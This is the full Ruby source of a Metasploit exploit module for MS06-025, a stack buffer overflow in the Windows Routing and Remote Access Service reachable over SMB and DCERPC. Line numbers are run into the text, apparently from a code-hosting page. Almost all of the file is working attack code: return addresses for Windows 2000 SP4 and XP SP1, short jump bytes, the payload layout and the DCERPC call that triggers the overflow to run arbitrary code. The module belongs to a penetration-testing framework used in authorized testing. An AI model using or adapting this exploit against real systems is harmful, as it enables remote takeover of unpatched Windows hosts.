Path: blob/master/modules/exploits/windows/smb/ms06_025_rras.rb
19813 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::DCERPC9include Msf::Exploit::Remote::SMB::Client1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'MS06-025 Microsoft RRAS Service Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in the Windows Routing and Remote18Access Service. Since the service is hosted inside svchost.exe, a failed19exploit attempt can cause other system services to fail as well. A valid20username and password is required to exploit this flaw on Windows 2000.21When attacking XP SP1, the SMBPIPE option needs to be set to 'SRVSVC'.22},23'Author' => [24'Nicolas Pouvesle <nicolas.pouvesle[at]gmail.com>',25'hdm'26],27'License' => MSF_LICENSE,28'References' => [29[ 'CVE', '2006-2370' ],30[ 'OSVDB', '26437' ],31[ 'BID', '18325' ],32[ 'MSB', 'MS06-025' ]33],34'DefaultOptions' => {35'EXITFUNC' => 'thread',36},37'Privileged' => true,38'Payload' => {39'Space' => 1104,40'BadChars' => "\x00",41'StackAdjustment' => -3500,42},43'Platform' => 'win',44'Targets' => [45[ 'Windows 2000 SP4', { 'Ret' => 0x7571c1e4 } ],46[ 'Windows XP SP1', { 'Ret' => 0x7248d4cc } ],47],4849'DisclosureDate' => '2006-06-13',50'Notes' => {51'Reliability' => UNKNOWN_RELIABILITY,52'Stability' => UNKNOWN_STABILITY,53'SideEffects' => UNKNOWN_SIDE_EFFECTS54}55)56)5758register_options(59[60OptString.new('SMBPIPE', [ true, "The pipe name to use (ROUTER, SRVSVC)", 'ROUTER']),61]62)6364deregister_options('SMB::ProtocolVersion')65end6667# Post authentication bugs are rarely useful during automation68def autofilter69false70end7172def exploit73connect(versions: [1])74smb_login()7576handle = dcerpc_handle('20610036-fa22-11cf-9823-00a0c911e5df', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])7778print_status("Binding to #{handle} ...")79dcerpc_bind(handle)80print_status("Bound to #{handle} ...")8182print_status('Getting OS...')8384# Check the remote OS name and version85os = smb_peer_os86pat = ''8788case os89when /Windows 5\.0/90pat =91payload.encoded +92"\xeb\x06" +93rand_text_alphanumeric(2) +94[target.ret].pack('V') +95"\xe9\xb7\xfb\xff\xff"96os = 'Windows 2000'97when /Windows 5\.1/98pat =99rand_text_alphanumeric(0x4c) +100"\xeb\x06" +101rand_text_alphanumeric(2) +102[target.ret].pack('V') +103payload.encoded104os = 'Windows XP'105end106107req = [1, 0x49].pack('VV') + pat + rand_text_alphanumeric(0x4000 - pat.length)108len = req.length109stb =110NDR.long(0x20000) +111NDR.long(len) +112req +113NDR.long(len)114115print_status("Calling the vulnerable function on #{os}...")116117begin118dcerpc.call(0x0C, stb)119rescue Rex::Proto::DCERPC::Exceptions::NoResponse120rescue => e121if e.to_s !~ /STATUS_PIPE_DISCONNECTED/122raise e123end124end125126# Cleanup127handler128disconnect129end130end131132133